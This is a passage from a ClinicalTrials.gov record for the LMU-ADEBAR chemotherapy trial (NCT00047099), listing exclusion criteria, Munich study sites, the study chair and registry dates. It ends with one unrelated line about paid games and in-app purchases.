- No cardiomyopathy with impaired ventricular function
- No New York Heart Association class III or IV heart disease
- No cardiac arrhythmias influencing LVEF and requiring medication
- No myocardial infarction within the past 6 months
- No angina pectoris within the past 6 months
- No uncontrolled arterial hypertension
- No other primary malignancy except carcinoma in situ of the cervix or adequately treated basal cell skin cancer
- No known hypersensitivity to docetaxel, epirubicin, fluorouracil, cyclophosphamide, or other study medication
- Not pregnant or nursing
- Negative pregnancy test
- Fertile patients must use effective contraception
Biologic therapy
- Not specified
- No prior cytotoxic or other antineoplastic therapy
- No other concurrent cytotoxic or other antineoplastic therapy
Endocrine therapy
- Not specified
- No prior radiotherapy
- See Disease Characteristics
- At least 3 weeks since prior investigational agents
Please refer to this study by its ClinicalTrials.gov identifier: NCT00047099
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I. Frauenklinik und Hebammenschule der Ludwig-Maximillians Universitaet Muenchen | |
Munich, Germany, D-80337 | |
Klinikum Rechts Der Isar - Technische Universitaet Muenchen | |
Munich, Germany, D-81675 |
Study Chair: | Harald Sommer, MD | Ludwig-Maximilians - University of Munich |
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ClinicalTrials.gov Identifier: | NCT00047099 History of Changes |
Other Study ID Numbers: | LMU-ADEBAR, LMU-ADEBAR, EU-20221 |
Study First Received: | October 3, 2002 |
Last Updated: | May 29, 2013 |
Health Authority: | United States: Federal Government |
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A paid game should not have in app purchases or ads.
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